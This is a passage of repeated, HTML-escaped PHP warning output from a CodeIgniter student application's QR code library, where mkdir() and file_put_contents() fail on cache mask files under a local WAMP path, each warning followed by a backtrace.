			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_0\mask_21_0.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_1\mask_21_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_2\mask_21_2.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_3\mask_21_3.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_4\mask_21_4.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
